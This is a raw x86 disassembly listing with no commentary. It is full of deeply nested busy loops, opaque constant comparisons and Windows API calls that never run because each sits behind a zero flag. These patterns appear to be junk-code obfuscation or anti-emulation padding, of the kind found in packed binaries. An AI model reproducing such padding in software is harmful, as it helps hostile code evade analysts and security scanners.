je 0x1003692d
jmp 0x1003692f
jmp 0x10036902
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x180], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x180]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x2120]
jge 0x1003695e
mov dword [ebp - 0xd0c], 1
jmp 0x10036965
and dword [ebp - 0xd0c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xd0c]
mov dword [ebp + eax - 0x2120], ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x10036991
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x108], ax
jmp 0x10039549
mov dword [ebp - 0x5c], 0xe76f5020
mov dword [ebp - 0x124], 0
jmp 0x100369b6
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 4
jge 0x100369d2
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0x2110], 0xdc85
jmp 0x100369a9
mov dword [ebp - 0x124], 0
jmp 0x100369eb
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 3
jge 0x10036a07
mov eax, dword [ebp - 0x124]
mov dword [ebp + eax*4 - 0x21a8], 0
jmp 0x100369de
mov dword [ebp - 0x5c], 3
jmp 0x10036a17
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x10036ee0
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x398], 0x3334adc6
mov dword [ebp - 0xd34], 0xfffffffe
mov dword [ebp - 0x10c], 0
jmp 0x10036a58
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jg 0x10036ebf
mov dword [ebp - 0x168], 1
mov dword [ebp - 0x168], 3
jmp 0x10036a88
mov eax, dword [ebp - 0x168]
dec eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jl 0x10036d90
mov dword [ebp - 0x1420], 0x664a
mov dword [ebp - 0x1634], 0x1000a9d4
cmp dword [ebp - 0x1420], 0x66b1
jle 0x10036bc2
and dword [ebp - 0x378], 0
jmp 0x10036acf
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x13af
jge 0x10036bc2
and dword [ebp - 0x5a4], 0
jmp 0x10036af5
mov eax, dword [ebp - 0x5a4]
inc eax
mov dword [ebp - 0x5a4], eax
cmp dword [ebp - 0x5a4], 0x797
jge 0x10036bbd
and dword [ebp - 0x364], 0
jmp 0x10036b1b
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x5a25
jge 0x10036bb8
and dword [ebp - 0x370], 0
jmp 0x10036b41
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x3398
jge 0x10036bb3
mov eax, dword [ebp - 0x5a4]
cdq
idiv dword [ebp - 0x364]
sub edx, dword [ebp - 0x370]
xor edx, dword [ebp - 0x378]
mov eax, edx
cdq
mov dword [ebp - 0x17a4], eax
mov dword [ebp - 0x17a0], edx
push dword [ebp - 0x17a0]
push dword [ebp - 0x17a4]
lea ecx, [ebp - 0x255c]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1a8c], eax
mov ecx, dword [ebp - 0x1a8c]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x255c]
call fcn.1001d534
jmp 0x10036b34
jmp 0x10036b0e
jmp 0x10036ae8
jmp 0x10036ac2
mov dword [ebp - 0x1954], 0xcbedfa9
cmp dword [ebp - 0x1420], 0x65dc
jge 0x10036be4
push dword [ebp - 0x1634]
call fcn.10067b63
pop ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp + eax*4 - 0x2110]
mov dword [ebp - 0xd14], eax
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0xd14]
mov dword [ebp + eax*4 - 0x2110], ecx
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x5c]
cmp dword [ebp - 0xd14], eax
jg 0x10036c25
mov dword [ebp - 0x10a4], 1
jmp 0x10036c2c
and dword [ebp - 0x10a4], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x10a4], eax
jl 0x10036c46
mov dword [ebp - 0xd1c], 1
jmp 0x10036c4d
and dword [ebp - 0xd1c], 0
cmp dword [ebp - 0xd1c], 0x712c5197
jne 0x10036c65
mov dword [ebp - 0x126c], 1
jmp 0x10036c6c
and dword [ebp - 0x126c], 0
mov eax, dword [ebp - 0x126c]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x398], eax
je 0x10036c92
cmp dword [ebp - 0x398], 0
je 0x10036c92
mov dword [ebp - 0xd24], 1
jmp 0x10036c99
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0xd24]
cmp eax, dword [ebp - 0x168]
jle 0x10036cb7
mov dword [ebp - 0x10ac], 1
jmp 0x10036cbe
and dword [ebp - 0x10ac], 0
mov eax, dword [ebp - 0x1954]
cmp dword [ebp - 0x10ac], eax
jg 0x10036ce1
cmp dword [ebp - 0x168], 0
je 0x10036ce1
mov dword [ebp - 0xd2c], 1
jmp 0x10036ce8
and dword [ebp - 0xd2c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xd2c], eax
jne 0x10036d02
mov dword [ebp - 0x1640], 1
jmp 0x10036d09
and dword [ebp - 0x1640], 0
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x1dec], eax
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x1df4], eax
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], eax
jle 0x10036d38
cmp dword [ebp - 0x5c], 0
jne 0x10036d38
and dword [ebp - 0x1350], 0
jmp 0x10036d42
mov dword [ebp - 0x1350], 1
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x1350]
mov dword [ebp - 0xd34], eax
imul eax, dword [ebp - 0xd34], 0
sub eax, dword [ebp - 0x10c]
cmp eax, 0x18bd
jge 0x10036d71
mov dword [ebp - 0x10b4], 1
jmp 0x10036d78
and dword [ebp - 0x10b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x10b4]
mov dword [ebp + eax - 0x21a8], ecx
jmp 0x10036a7b
mov dword [ebp - 0xd3c], 0x334f
mov dword [ebp - 0x164c], 0x1000a9e8
cmp dword [ebp - 0xd3c], 0x3434
jle 0x10036e98
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
and dword [ebp - 0x380], 0
jmp 0x10036dd6
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x775f
jge 0x10036e98
and dword [ebp - 0x388], 0
jmp 0x10036dfc
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x6761
jge 0x10036e93
and dword [ebp - 0x390], 0
jmp 0x10036e22
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x48ae
jge 0x10036e8e
mov eax, dword [ebp - 0x380]
cdq
idiv dword [ebp - 0x388]
xor edx, dword [ebp - 0x390]
mov eax, edx
cdq
mov dword [ebp - 0x17b0], eax
mov dword [ebp - 0x17ac], edx
push dword [ebp - 0x17ac]
push dword [ebp - 0x17b0]
lea ecx, [ebp - 0x2298]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1af0], eax
mov ecx, dword [ebp - 0x1af0]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2298]
call fcn.1001d534
jmp 0x10036e15
jmp 0x10036def
jmp 0x10036dc9
mov dword [ebp - 0x398], 0x1289ed5b
cmp dword [ebp - 0xd3c], 0x304b
jge 0x10036eba
push dword [ebp - 0x164c]
call fcn.10067b63
pop ecx
jmp 0x10036a4b
mov byte [ebp - 0x1b1], 0
movzx eax, byte [ebp - 0x1b1]
test eax, eax
je 0x10036edb
push 0
push 0
call dword [sym.imp.GDI32.dll_SetMetaFileBitsEx]
jmp 0x10036a10
mov dword [ebp - 0x20], 0xf89b546
mov dword [ebp - 0x3a0], 0
jmp 0x10036f00
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 3
jge 0x10036f1c
mov eax, dword [ebp - 0x3a0]
mov dword [ebp + eax*4 - 0x900], 0x85f70ad6
jmp 0x10036ef3
mov dword [ebp - 0x20], 0
jmp 0x10036f2c
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10037103
mov dword [ebp - 0x10bc], 0x4309642e
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x900], 0
je 0x100370c7
mov dword [ebp - 0x8bc], 0x1d962ee6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x900]
mov dword [ebp - 0x1274], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1274]
mov dword [ebp + eax*4 - 0x900], ecx
mov eax, dword [ebp - 0x8bc]
cmp dword [ebp - 0x1274], eax
jne 0x1003709c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x900]
mov dword [ebp - 0xd44], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xd44]
mov dword [ebp + eax - 0x900], ecx
cmp dword [ebp - 0xd44], 0
je 0x1003709c
mov dword [ebp - 0x195c], 1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x195c]
cmp dword [ebp + eax*4 - 0x900], ecx
jge 0x10036fe7
mov dword [ebp - 0x13b0], 1
jmp 0x10036fee
and dword [ebp - 0x13b0], 0
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x10bc], eax
cmp dword [ebp - 0x10bc], 0xffff
jb 0x10037012
mov dword [ebp - 0xd4c], 1
jmp 0x10037019
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0xd4c]
sub eax, dword [ebp - 0x8bc]
imul eax, dword [ebp - 0x13b0]
sub eax, 0xb28
cmp dword [ebp - 0x20], eax
jge 0x10037042
mov dword [ebp - 0xd54], 1
jmp 0x10037049
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x900]
cmp dword [ebp - 0xd54], eax
je 0x10037067
mov dword [ebp - 0x10c4], 1
jmp 0x1003706e
and dword [ebp - 0x10c4], 0
cmp dword [ebp - 0x10c4], 1
jle 0x10037083
mov dword [ebp - 0xd5c], 1
jmp 0x1003708a
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xd5c]
mov dword [ebp + eax*4 - 0x900], ecx
jmp 0x100370c5
mov dword [ebp - 0x127c], 0xa3c3
mov eax, dword [ebp - 0x127c]
dec eax
mov dword [ebp - 0x127c], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x900], 0
je 0x100370c5
jmp 0x10036f25
jmp 0x100370ed
mov byte [ebp - 0x22c], 0
movzx eax, byte [ebp - 0x22c]
test eax, eax
je 0x100370ed
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x900], 0
je 0x100370fe
jmp 0x10037103
jmp 0x10036f25
mov dword [ebp - 0x20], 0
jmp 0x10037113
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe5
jl 0x10037142
mov dword [ebp - 0xd64], 0
mov dword [ebp - 0xd64], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd64]
mov dword [ebp + eax - 0x900], ecx
jmp 0x1003710c
mov eax, dword [0x10083c70]
and eax, 1
jne 0x10037179
mov eax, dword [0x10083c70]
or eax, 1
mov dword [0x10083c70], eax
mov dword [ebp - 4], 0x17
mov ecx, 0x10088020
call fcn.1001d931
push 0x1007e0fa
call fcn.10067b39
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10088004]
test eax, eax
je 0x10037abb
mov ecx, 0x10088020
call fcn.10041fc7
movzx eax, al
test eax, eax
jne 0x10037abb
mov dword [ebp - 0x268], 0x3fcb50bf
mov dword [ebp - 0x8ec], 0xfffffffc
mov dword [ebp - 0xd7c], 0x7b051af7
mov dword [ebp - 0x3a8], 0
jmp 0x100371d4
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 3
jge 0x100371f0
mov eax, dword [ebp - 0x3a8]
mov dword [ebp + eax*4 - 0x13ac], 0xa8eac8b1
jmp 0x100371c7
mov byte [ebp - 0x1b9], 0
movzx eax, byte [ebp - 0x1b9]
test eax, eax
je 0x10037214
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToUnicode]
mov dword [ebp - 0x268], 2
jmp 0x1003722d
mov eax, dword [ebp - 0x268]
dec eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0
jl 0x10037698
mov dword [ebp - 0x7c], 0xfffffffa
mov dword [ebp - 0x10e4], 0x1990
mov dword [ebp - 0x3b0], 0
jmp 0x10037264
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 2
jge 0x10037280
mov eax, dword [ebp - 0x3b0]
mov dword [ebp + eax*4 - 0x1460], 0x63d18804
jmp 0x10037257
mov dword [ebp - 0x7c], 0
jmp 0x10037290
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jg 0x10037675
mov dword [ebp - 0x290], 1
mov dword [ebp - 0x1664], 1
mov dword [ebp - 0x1dfc], 1
push 2
lea ecx, [ebp - 0x1c6c]
call fcn.1001d86d
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x1a94], 7
mov dword [ebp - 0x3b8], 0
jmp 0x100372ef
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 2
jge 0x10037311
push dword [ebp - 0x3b8]
lea ecx, [ebp - 0x1c6c]
call fcn.1001d90b
mov dword [eax], 0xb14f4e79
jmp 0x100372e2
mov dword [ebp - 0x290], 2
jmp 0x1003732a
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0
jl 0x100375c7
mov dword [ebp - 0x10dc], 0x96a9cbde
mov dword [ebp - 0x167c], 5
mov dword [ebp - 0x3c0], 0
jmp 0x10037364
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 1
jge 0x10037380
mov eax, dword [ebp - 0x3c0]
mov dword [ebp + eax*4 - 0x864], 4
jmp 0x10037357
mov eax, dword [ebp - 0x7c]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x1460]
cmp dword [ebp + eax*4 - 0x13ac], ecx
je 0x100373a5
mov dword [ebp - 0x1658], 1
jmp 0x100373ac
and dword [ebp - 0x1658], 0
mov eax, dword [ebp - 0x1a94]
mov dword [ebp - 0x1e04], eax
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x1664], eax
jg 0x100373d2
mov dword [ebp - 0x10cc], 1
jmp 0x100373d9
and dword [ebp - 0x10cc], 0
push 0
lea ecx, [ebp - 0x1c6c]
call fcn.1001d90b
mov ecx, dword [ebp - 0x10cc]
sub ecx, dword [eax]
cmp ecx, 1
je 0x100373ff
mov dword [ebp - 0xd6c], 1
jmp 0x10037406
and dword [ebp - 0xd6c], 0
mov eax, dword [ebp - 0xd7c]
cmp dword [ebp - 0xd6c], eax
jg 0x10037420
mov dword [ebp - 0x1358], 1
jmp 0x10037427
and dword [ebp - 0x1358], 0
cmp dword [ebp - 0x1358], 0xffff
jb 0x1003743f
mov dword [ebp - 0xd74], 1
jmp 0x10037446
and dword [ebp - 0xd74], 0
cmp dword [ebp - 0xd74], 9
jge 0x1003745b
mov dword [ebp - 0x10d4], 1
jmp 0x10037462
and dword [ebp - 0x10d4], 0
mov eax, dword [ebp - 0x10d4]
mov dword [ebp - 0x10e4], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x13ac]
add eax, dword [ebp - 0xd7c]
mov ecx, dword [ebp - 0x7c]
cmp eax, dword [ebp + ecx*4 - 0x13ac]
jne 0x10037498
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x13ac], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp + eax*4 - 0x13ac], 0xffffffff
jg 0x100374b1
mov dword [ebp - 0x1964], 1
jmp 0x100374b8
and dword [ebp - 0x1964], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp + eax*4 - 0x13ac], 0
jne 0x100374d1
mov dword [ebp - 0x1284], 1
jmp 0x100374d8
and dword [ebp - 0x1284], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1460]
cmp dword [ebp - 0x1284], eax
jg 0x100374f9
mov dword [ebp - 0xd84], 1
jmp 0x10037500
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0xd84]
mov dword [ebp - 0x10dc], eax
cmp dword [ebp - 0x10dc], 0
je 0x1003752a
cmp dword [ebp - 0x290], 0
je 0x1003752a
mov dword [ebp - 0xd8c], 1
jmp 0x10037531
and dword [ebp - 0xd8c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x864]
mov dword [ebp - 0x8ec], eax
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x1670], eax
mov eax, dword [ebp - 0xd8c]
mov dword [ebp - 0x1acc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x864]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x864], eax
mov eax, dword [ebp - 0x1670]
cmp eax, dword [ebp - 0x1acc]
jl 0x10037591
mov dword [ebp - 0x1400], 1
jmp 0x10037598
and dword [ebp - 0x1400], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1400], eax
jl 0x100375af
mov dword [ebp - 0xd94], 1
jmp 0x100375b6
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0xd94]
mov dword [ebp - 0x167c], eax
jmp 0x1003731d
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x268]
mov ecx, dword [ebp + ecx*4 - 0x13ac]
cmp dword [ebp + eax*4 - 0x13ac], ecx
jge 0x100375ec
mov dword [ebp - 0xd9c], 1
jmp 0x100375f3
and dword [ebp - 0xd9c], 0
mov eax, dword [ebp - 0x8ec]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x1460]
add eax, dword [ebp - 0x290]
cmp dword [ebp - 0x10e4], eax
jg 0x10037620
mov dword [ebp - 0x128c], 1
jmp 0x10037627
and dword [ebp - 0x128c], 0
mov eax, dword [ebp - 0xd9c]
neg eax
mov ecx, dword [ebp - 0x128c]
neg ecx
cmp eax, ecx
jge 0x10037647
mov dword [ebp - 0xda4], 1
jmp 0x1003764e
and dword [ebp - 0xda4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xda4]
mov dword [ebp + eax - 0x1460], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c6c]
call fcn.1001d8ef
jmp 0x10037289
mov byte [ebp - 0x22e], 0
movzx eax, byte [ebp - 0x22e]
test eax, eax
je 0x10037693
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
jmp 0x10037220
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x10f4]
push eax
mov ecx, 0x10088020
call fcn.1001d9f6
push 1
lea ecx, [ebp - 0x14e0]
call fcn.1001d86d
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x3c8], 0
jmp 0x100376dd
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 1
jge 0x100376ff
push dword [ebp - 0x3c8]
lea ecx, [ebp - 0x14e0]
call fcn.1001d90b
mov dword [eax], 0xb26bdde0
jmp 0x100376d0
push 0
lea ecx, [ebp - 0x14e0]
call fcn.1001d90b
and dword [eax], 0
jmp 0x10037735
push 0
lea ecx, [ebp - 0x14e0]
call fcn.1001d90b
mov dword [ebp - 0x10ec], eax
mov eax, dword [ebp - 0x10ec]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x10ec]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x14e0]
call fcn.1001d90b
cmp dword [eax], 0xfffffffa
jl 0x100378bf
mov dword [ebp - 0x1688], 0xb999fb0
mov byte [ebp - 0x1c1], 0
mov dword [ebp - 0xdac], 0x4c77
mov dword [ebp - 0x196c], 0x1000aa14
cmp dword [ebp - 0xdac], 0x4f60
jle 0x10037864
and dword [ebp - 0x3d0], 0
jmp 0x10037796
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x313b
jge 0x10037864
and dword [ebp - 0x3d8], 0
jmp 0x100377bc
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0x28ac
jge 0x1003785f
and dword [ebp - 0x3e0], 0
jmp 0x100377e2
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x69cc
jge 0x1003785a
and dword [ebp - 0x3e8], 0
jmp 0x10037804
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0x4bc2
jge 0x10037855
mov eax, dword [ebp - 0x3d0]
cdq
idiv dword [ebp - 0x3d8]
mov ecx, edx
mov eax, dword [ebp - 0x3e0]
cdq
idiv dword [ebp - 0x3e8]
add ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x17bc], eax
mov dword [ebp - 0x17b8], edx
push dword [ebp - 0x17b8]
push dword [ebp - 0x17bc]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x100377f7
jmp 0x100377d5
jmp 0x100377af
jmp 0x10037789
movzx eax, byte [ebp - 0x1c1]
test eax, eax
je 0x10037889
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawStateW]
cmp dword [ebp - 0xdac], 0x4a34
jge 0x100378a5
mov edx, dword [ebp - 0x196c]
mov ecx, 0x10082bb8
call fcn.100202a3
push 0
lea ecx, [ebp - 0x14e0]
call fcn.1001d90b
mov eax, dword [eax]
mov dword [ebp - 0x1688], eax
jmp 0x10037711
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14e0]
call fcn.1001d8ef
lea eax, [ebp - 0x1e0c]
push eax
mov ecx, 0x10088020
call fcn.1001d9e8
push eax
lea ecx, [ebp - 0x10f4]
call fcn.1001da0b
movzx eax, al
test eax, eax
je 0x10037abb
mov dword [ebp - 0x1694], 0xdf1febae
mov dword [ebp - 0x1974], 8
mov dword [ebp - 0x1e14], 0xccce1e2c
mov dword [ebp - 0x1e1c], 0x51cdcb36
mov dword [ebp - 0x1e24], 0xe64f1479
mov dword [ebp - 0x1e2c], 0x8fbc781c
mov dword [ebp - 0x1360], 0xd04
mov dword [ebp - 0x1a30], 0x1000aa50
cmp dword [ebp - 0x1360], 0x1003
jle 0x10037a33
and dword [ebp - 0x408], 0
jmp 0x1003796c
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x42c3
jge 0x10037a33
and dword [ebp - 0x3f0], 0
jmp 0x10037992
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x3233
jge 0x10037a2e
and dword [ebp - 0x3f8], 0
jmp 0x100379b8
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x78b7
jge 0x10037a29
and dword [ebp - 0x400], 0
jmp 0x100379da
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x6ae0
jge 0x10037a27
mov eax, dword [ebp - 0x3f0]
mov ecx, dword [ebp - 0x3f8]
shl eax, cl
mov ecx, dword [ebp - 0x400]
sar eax, cl
xor eax, dword [ebp - 0x408]
cdq
mov dword [ebp - 0x17c8], eax
mov dword [ebp - 0x17c4], edx
push dword [ebp - 0x17c4]
push dword [ebp - 0x17c8]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x100379cd
jmp 0x100379ab
jmp 0x10037985
jmp 0x1003795f
mov dword [ebp - 0xdb4], 0x1bf07968
cmp dword [ebp - 0x1360], 0xc59
jge 0x10037a59
mov edx, dword [ebp - 0x1a30]
mov ecx, 0x10082bb8
call fcn.100202a3
mov dword [ebp - 0x410], 0
jmp 0x10037a72
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 2
jge 0x10037a8e
mov eax, dword [ebp - 0x410]
mov dword [ebp + eax*4 - 0x2240], 0xfffffffd
jmp 0x10037a65
mov eax, dword [ebp - 0x1694]
mov dword [ebp - 0x1974], eax
mov eax, dword [ebp - 0xdb4]
dec eax
mov dword [ebp - 0xdb4], eax
lea ecx, [ebp - 0x10f4]
call fcn.10041fd0
mov eax, dword [eax + 4]
mov dword [ebp - 0x298], eax
push 3
lea ecx, [ebp - 0x13bc]
call fcn.1001d86d
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x428], 0xc9ed9ba0
mov dword [ebp - 0xdbc], 0xffa
mov dword [ebp - 0x1a38], 0x1000aaa0
cmp dword [ebp - 0xdbc], 0x124f
jle 0x10037ba4
and dword [ebp - 0x418], 0
jmp 0x10037b13
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0xac2
jge 0x10037ba4
and dword [ebp - 0x420], 0
jmp 0x10037b39
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x36b6
jge 0x10037b9f
mov eax, dword [ebp - 0x418]
cdq
idiv dword [ebp - 0x420]
mov eax, edx
cdq
mov dword [ebp - 0x17d4], eax
mov dword [ebp - 0x17d0], edx
push dword [ebp - 0x17d0]
push dword [ebp - 0x17d4]
lea ecx, [ebp - 0x22b0]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x16a0], eax
mov ecx, dword [ebp - 0x16a0]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x22b0]
call fcn.1001d534
jmp 0x10037b2c
jmp 0x10037b06
mov dword [ebp - 0x10fc], 0
cmp dword [ebp - 0xdbc], 0xe07
jge 0x10037bc6
push dword [ebp - 0x1a38]
call fcn.10067b63
pop ecx
push 2
lea ecx, [ebp - 0x1c84]
call fcn.1001d86d
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x44], 0
jmp 0x10037be7
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x10037bfd
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xdd4], 8
jmp 0x10037be0
mov dword [ebp - 0x44], 0
jmp 0x10037c0d
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x10037c29
push dword [ebp - 0x44]
lea ecx, [ebp - 0x13bc]
call fcn.1001d90b
mov dword [eax], 1
jmp 0x10037c06
mov dword [ebp - 0x44], 0
jmp 0x10037c39
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x10037c55
push dword [ebp - 0x44]
lea ecx, [ebp - 0x1c84]
call fcn.1001d90b
mov dword [eax], 0xfffffffe
jmp 0x10037c32
push 0
lea ecx, [ebp - 0x13bc]
call fcn.1001d90b
and dword [eax], 0
jmp 0x10037c8b
push 0
lea ecx, [ebp - 0x13bc]
call fcn.1001d90b
mov dword [ebp - 0x1294], eax
mov eax, dword [ebp - 0x1294]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1294]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x13bc]
call fcn.1001d90b
cmp dword [eax], 0
jl 0x10037cda
push 0
lea ecx, [ebp - 0x13bc]
call fcn.1001d90b
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xdd4], 0x4f2887cf
jl 0x10037cc5
mov dword [ebp - 0xdc4], 1
jmp 0x10037ccc
and dword [ebp - 0xdc4], 0
mov eax, dword [ebp - 0xdc4]
mov dword [ebp - 0x428], eax
jmp 0x10037c67
push 0
lea ecx, [ebp - 0x13bc]
call fcn.1001d90b
cmp dword [eax], 0xdc34
jne 0x10037cfb
mov dword [ebp - 0x86c], 1
jmp 0x10037d02
and dword [ebp - 0x86c], 0
